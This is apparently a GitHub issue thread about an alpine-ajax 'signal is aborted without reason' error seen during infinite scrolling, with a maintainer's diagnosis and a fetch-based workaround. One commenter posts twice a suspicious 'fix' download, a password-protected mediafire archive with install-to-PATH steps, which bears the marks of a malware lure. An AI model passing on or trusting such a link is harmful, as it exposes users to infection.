Alpine Expression Error: signal is aborted without reason - After Intensive Infinite Scrolling

[nunowar]

Hey!

I'm encountering an error after implementing infinite scrolling. After several scroll events, the console shows the following error:

Alpine Expression Error: signal is aborted without reason

Implementation Details

Main view:

<div>
    <div id="js-items" x-merge="append" class="divide-y divide-gray-100">
        @foreach($users as $user)
            <div class="flex py-10">
                <x-site.user-card-row :user="$user" />
            </div>
        @endforeach
    </div>

    <div id="js-pagination" x-init x-intersect="$ajax('{{ route('site.people.lazyload', array_merge(request()->query(), ['sort' => $sort, 'category' => $category, 'page' => 2])) }}', { target: 'js-items js-pagination' })">
    </div>
</div>

Load more view:

<div id="js-items" x-merge="append" class="divide-y divide-gray-100">
    @foreach($users as $user)
            <div class="flex py-10">
                <x-site.user-card-row :user="$user" />
            </div>
    @endforeach
</div>

@if($hasMoreUsers)
    <div id="js-pagination" x-init x-intersect="$ajax('{{ route('site.people.lazyload', $routeArray) }}', { target: 'js-items js-pagination' })">
    </div>
@endif

Any help or insights into this issue? Thanks!

[amir1387aht]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[amir1387aht]

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

[imacrayon]

Hmm, this might be caused by scrolling too fast. We recently introduced some code that will abort any pending requests for an element before the same element makes a new request.
I bet this is causing a regression in your case. If you scroll to page 3 before page 2 is loaded the page 2 request will be aborted.

[nunowar]

Yeah, it's probably that. However, I realized that I don't need alpine-ajax for this project and can simply implement infinite scroll using Alpine.js and Fetch.

Here’s the code.

I hope this helps someone.

Alpine.data('infiniteScroll', () => ({
    isLoading: false,

    loadMore(url) {
        const paginationDiv = document.getElementById('js-pagination');
        const loadingDiv = document.getElementById('js-infinite-loading');

        if (this.isLoading) return; // Prevent multiple requests

        this.isLoading = true;
        loadingDiv.style.display = 'flex';

        fetch(url)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`HTTP error! Status: ${response.status}`);
                }
                return response.text();
            })
            .then(html => {
                const parser = new DOMParser();
                const doc = parser.parseFromString(html, 'text/html');
                const newItems = doc.querySelector('#js-items');

                if (newItems) {
                    document.getElementById('js-items').insertAdjacentHTML('beforeend', newItems.innerHTML);

                    const newPagination = doc.querySelector('#js-pagination');

                    if (newPagination) {
                        paginationDiv.replaceWith(newPagination);
                    } else {
                        paginationDiv.remove();
                    }
                } else {
                    console.error('Error: #js-items element not found in the response.');
                }
            })
            .catch(error => console.error('Error loading more items:', error))
            .finally(() => {
                this.isLoading = false;
                loadingDiv.style.display = 'none';

                if (typeof masonryInstance !== 'undefined') {
                    masonryInstance.layout();
                }
            });
    }
}));

[W1M0R]

I'm also hitting this error, but not with infinite scrolling, just regular component loading (it works the first few times when I open the page, but then stops working after a few clicks:

Alpine Expression Error: signal is aborted without reason

Expression: "$ajax('body/', { body: { ...queryParams } })"

index/the-page/

          <SomeAstroComponent
            id="some-id"
            class="hidden"
            x-init="$ajax('body/', { body: { ...queryParams } })"
          />

index/

The context is an Unpoly up-target that dynamically updates the dom with the contents of a page when clicked.

<a
  href="the-page/"
  up-target="#debug-body"
  up-history
>Click this to insert the-page/ into the current page's debug-body</a>

This is part of a test to see whether unpoly and alpine can be used in the same project. I suspect that when Unpoly inserts the-page into the dom, that alpine (or alpine-ajax) might get into a state where it can't recover. The only way to solve the issue is to perform a full page reload.

[imacrayon]

Alrighty, I can reproduce this error now. Working on a fix!

[W1M0R]

Thanks @imacrayon!